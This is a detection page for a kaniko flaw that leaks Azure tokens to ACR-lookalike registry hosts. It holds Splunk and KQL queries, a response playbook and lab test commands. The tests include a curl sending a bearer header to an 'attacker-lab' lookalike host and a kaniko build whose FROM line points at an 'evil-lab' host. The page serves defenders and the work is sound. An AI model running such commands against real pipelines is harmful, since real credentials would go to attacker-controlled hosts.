Detect kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769) in Splunk
Detects conditions and runtime behavior related to CVE-2026-105769, where the kaniko container image builder (github.com/chainguard-dev/kaniko before v1.25.20) may transmit the build's Azure Entra ID (Azure AD) access token to lookalike Azure Container Registry (ACR) hosts. The docker-credential-acr-env helper matched registry hostnames too loosely (CWE-346 Origin Validation Error / CWE-522 Insufficiently Protected Credentials), so a crafted base image or FROM reference pointing at an attacker-controlled host resembling *.azurecr.io could receive a valid bearer token usable against the victim's real ACR. This detection surfaces vulnerable kaniko versions in build pipelines and outbound token-bearing requests from kaniko/CI hosts to non-canonical ACR-lookalike destinations.
MITRE ATT&CK
- Tactic
- Credential Access Initial Access
SPL Detection Query
``` df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence ```
index=* (process_name IN ("kaniko","executor","docker-credential-acr-env","buildkitd") OR command="*docker-credential-acr-env*" OR command="*kaniko*")
| eval dest_host=coalesce(url_domain, dest_host, dest)
| search dest_host="*azurecr*" OR dest_host="*acr-*"
| where NOT (match(dest_host, "(?i)\.azurecr\.io$") OR match(dest_host, "(?i)\.azurecr\.cn$") OR match(dest_host, "(?i)\.azurecr\.us$"))
| stats count min(_time) as firstSeen max(_time) as lastSeen values(dest_host) as dest_hosts values(dest_ip) as dest_ips by host process_name user
| convert ctime(firstSeen) ctime(lastSeen)
| sort - count Identifies kaniko/ACR credential-helper outbound activity to ACR-lookalike hosts that are not on canonical azurecr domains.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Internal ACR mirror or pull-through cache hosts with non-canonical names
- Build infrastructure using private DNS aliases for registries
- Image-scanning pipelines probing registry endpoints
Other platforms for CVE-2026-105769
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Vulnerable kaniko version present in build image
Expected signal: Process execution of /kaniko/executor with version output logged by EDR.
- Test 2 ACR credential helper invoked against lookalike host
Expected signal: Network/DNS event from docker-credential-acr-env or curl to an azurecr-lookalike host not ending in .azurecr.io.
- Test 3 kaniko build with untrusted base image reference
Expected signal: kaniko executor process event plus outbound resolution/connection to the lookalike registry host.
References (9)
- https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- https://nvd.nist.gov/vuln/detail/CVE-2026-105769
- https://github.com/chrismellard/docker-credential-acr-env/issues/21
- https://github.com/chainguard-forks/kaniko/pull/495
- https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405
- https://github.com/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- https://pkg.go.dev/vuln/GO-2026-6225
- https://github.com/advisories/GHSA-5q7h-w9jf-cx97
Response Playbook
Triage
- Identify the kaniko version in use on the affected build host or image (check the executor binary version or base image tag); confirm whether it is below v1.25.20 and therefore vulnerable.
- Review the destination hostname that triggered the alert and determine whether it is a legitimate internal ACR mirror or an unknown/attacker-controlled lookalike (e.g. azurecr vs azur3cr, extra suffixes, non-Azure IP ownership).
- Inspect the Dockerfile / build context FROM lines and --cache-repo / registry arguments passed to kaniko for references to the suspicious host.
- Check whether an Azure Entra ID access token or bearer credential was actually transmitted to the suspicious host by reviewing proxy/TLS SNI and HTTP Authorization-bearing request telemetry.
Containment
- Immediately revoke/rotate the Azure Entra ID (managed identity or service principal) credentials and any ACR tokens used by the affected build pipeline.
- Block egress from build/CI hosts to the identified lookalike host(s) at the firewall/proxy and quarantine the affected build runner.
- Pin or upgrade kaniko to v1.25.20 or later across all build pipelines and remove untrusted base image references.
Evidence Collection
- Capture the full kaniko build logs, command line, and the resolved FROM/base-image references for the affected build.
- Preserve network connection and DNS logs showing the connection to the lookalike host, including TLS SNI and any HTTP request metadata.
Escalation Criteria
- !Escalate to incident response if telemetry confirms a bearer token or Authorization header was sent to a non-canonical, externally-owned ACR-lookalike host.
- !Escalate if the leaked identity has push/pull or broader Azure permissions that could enable image poisoning or lateral movement into the Azure tenant.
Investigation Guide
Forensic Artifacts
- >
kaniko executor build logs and command-line arguments - >
docker-credential-acr-env invocations and their resolved registry hostnames - >
DNS resolution and network connection records from the build host to the lookalike domain
Tuning Guidance
Build an allowlist of your organization's legitimate ACR hostnames (including sanctioned internal mirrors and private DNS aliases) and exclude them from the detection to reduce noise. Focus alerting on connections to hosts that resemble azurecr but resolve to IPs outside Microsoft/Azure ownership. If you can observe HTTP Authorization headers or TLS SNI, prioritize events where a bearer token is actually present over mere DNS lookups.
Hunting Queries
Hunt for any kaniko/credential-helper connections to ACR-lookalike hosts not on canonical Azure domains over a wide lookback window.
// df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence
DeviceNetworkEvents | where InitiatingProcessCommandLine has_any ("kaniko","docker-credential-acr-env") | where RemoteUrl matches regex @'(?i)azurecr' and not(RemoteUrl endswith ".azurecr.io") | summarize count() by DeviceName, RemoteUrl ``` df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence ```
index=* (command="*kaniko*" OR command="*docker-credential-acr-env*") | regex dest_host="(?i)azurecr" | search NOT dest_host="*.azurecr.io" | stats count by host dest_host Atomic Red Team Tests
Verifies a kaniko executor binary below the fixed v1.25.20 is present, representing exposure to CVE-2026-105769.
Command
/kaniko/executor version 2>&1 | grep -E 'v1\.(2[0-4]|25\.(1?[0-9])\b)' && echo 'VULNERABLE kaniko version detected' Cleanup
echo 'no changes made' Expected Telemetry
Process execution of /kaniko/executor with version output logged by EDR.
Expected Detection
Inventory/vuln detection flags the kaniko version as below 1.25.20.
Simulates kaniko's ACR credential helper resolving credentials for a non-canonical ACR-lookalike hostname in a lab.
Command
echo 'myregistry.azurecr.io.attacker-lab.example' | docker-credential-acr-env get || curl -s -H 'Authorization: Bearer TEST.TOKEN.LAB' https://myregistry.azurecr.io.attacker-lab.example/v2/ -o /dev/null Cleanup
echo 'no persistent changes' Expected Telemetry
Network/DNS event from docker-credential-acr-env or curl to an azurecr-lookalike host not ending in .azurecr.io.
Expected Detection
Detection fires on the credential-helper/kaniko connection to a non-canonical ACR-lookalike destination.
Runs a kaniko build whose FROM line points at an ACR-lookalike host in a sandboxed lab to exercise token-leak path.
Command
printf 'FROM test.azurecr.io.evil-lab.example/base:latest\nRUN true\n' > /tmp/Dockerfile.lab && /kaniko/executor --dockerfile=/tmp/Dockerfile.lab --no-push --context=/tmp 2>&1 | tail -n 20 Cleanup
rm -f /tmp/Dockerfile.lab Expected Telemetry
kaniko executor process event plus outbound resolution/connection to the lookalike registry host.
Expected Detection
Detection correlates the kaniko process with egress to the ACR-lookalike host.